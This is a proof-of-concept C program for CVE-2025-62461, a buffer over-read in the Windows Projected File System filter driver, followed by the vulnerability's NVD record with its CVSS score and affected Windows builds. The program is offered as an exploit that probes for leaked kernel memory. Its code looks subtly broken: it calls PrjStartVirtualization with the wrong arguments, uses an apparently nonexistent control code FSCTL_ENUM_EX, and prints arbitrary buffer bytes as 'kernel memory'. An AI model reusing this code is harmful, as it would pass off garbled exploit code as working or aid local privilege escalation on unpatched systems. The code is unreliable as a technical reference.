CVE-2025-62461

// CVE-2025-62461 PoC - Windows ProjFS Filter Driver Buffer Over-read // This PoC demonstrates triggering the buffer over-read condition #include <windows.h> #include <stdio.h> #include <winerror.h> // Projected File System GUID const GUID PROJFS_GUID = {0x0c8852d4, 0x9f2f, 0x4eb6, {0xa0, 0x46, 0x8c, 0x2a, 0x69, 0x5b, 0x5e, 0xea}}; // Required headers for ProjFS operations typedef struct _PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT* PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT; typedef struct _PRJ_FILE_FULL_METADATA_INFORMATION* PRJ_FILE_FULL_METADATA_INFORMATION; int main() { printf("[*] CVE-2025-62461 Windows ProjFS Buffer Over-read PoC\n"); printf("[*] Target: Windows Projected File System Filter Driver\n"); // Step 1: Initialize Projected File System printf("\n[*] Step 1: Initializing ProjFS virtualization context...\n"); PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT ctx = NULL; HRESULT hr = PrjStartVirtualization( L"C:\\ProjFS_Test", NULL, 0, &ctx ); if (FAILED(hr)) { printf("[-] Failed to initialize ProjFS: 0x%08x\n", hr); return 1; } printf("[+] ProjFS context created successfully\n"); // Step 2: Create projected file with specific metadata printf("\n[*] Step 2: Creating projected files to trigger vulnerability...\n"); // Trigger condition: Malformed directory enumeration with extended buffers // The driver fails to validate buffer size before copying data HANDLE hFile = CreateFileW( L"C:\\ProjFS_Test\\trigger_file.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_BACKUP_SEMANTICS, NULL ); if (hFile == INVALID_HANDLE_VALUE) { printf("[-] Failed to create trigger file\n"); PrjStopVirtualization(ctx); return 1; } // Step 3: Trigger directory control with oversized buffer printf("\n[*] Step 3: Triggering buffer over-read via directory enumeration...\n"); BYTE largeBuffer[8192]; // Oversized buffer to trigger over-read DWORD bytesReturned = 0; // DeviceIoControl to trigger FS filter operation BOOL result = DeviceIoControl( hFile, FSCTL_ENUM_EX, // Directory enumeration control code NULL, 0, largeBuffer, sizeof(largeBuffer), &bytesReturned, NULL ); if (result) { printf("[+] Buffer over-read may have occurred\n"); printf("[*] Bytes returned: %lu\n", bytesReturned); // Check for leaked kernel memory in buffer for (int i = 0; i < bytesReturned; i++) { if (largeBuffer[i] != 0 && (i % 16 == 0)) { printf("[*] Potential kernel memory at offset %d: 0x%02x\n", i, largeBuffer[i]); } } } CloseHandle(hFile); PrjStopVirtualization(ctx); printf("\n[*] Note: Actual exploitation requires specific ProjFS setup\n"); printf("[*] See Microsoft Security Response Center for full details\n"); return 0; }

{"cve": {"id": "CVE-2025-62461", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:57.680", "lastModified": "2025-12-10T18:49:03.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer over-read in Windows Projected File System Filter Driver allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-126"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "5CEB496A-8AF3-458D-B466-16204E535DE0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "C99D0580-E443-4440-A211-19BA3C2C4AFA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6691", "matchCriteriaId": "9D04167A-522C-433E-8CEB-C1D8A02C23D8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6691", "matchCriteriaId": "A86D6CDC-55E5-4817-A6CE-4CE41921FB79"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6345", "matchCriteriaId": "6DCE32D0-A9E0-4029-AB35-5E202A42AF01"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "8DCD2A6E-7CD0-4FCC-AC11-5A1470776C24"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7392", "matchCriteriaId": "8EA08CDD-D682-403D-8B50-879EB4D88C67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "A20DBDB1-D0DE-4800-8BEA-35EE5D53659D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4467", "matchCriteriaId": "C552FBB4-8F98-492E-A084-AF14C9514A67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2025", "matchCriteriaId": "E9CE4A36-DA42-40CC-8724-E30A22CA84B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "35BBEADA-D039-479B-A1BA-B2A7E37235BE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62461", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}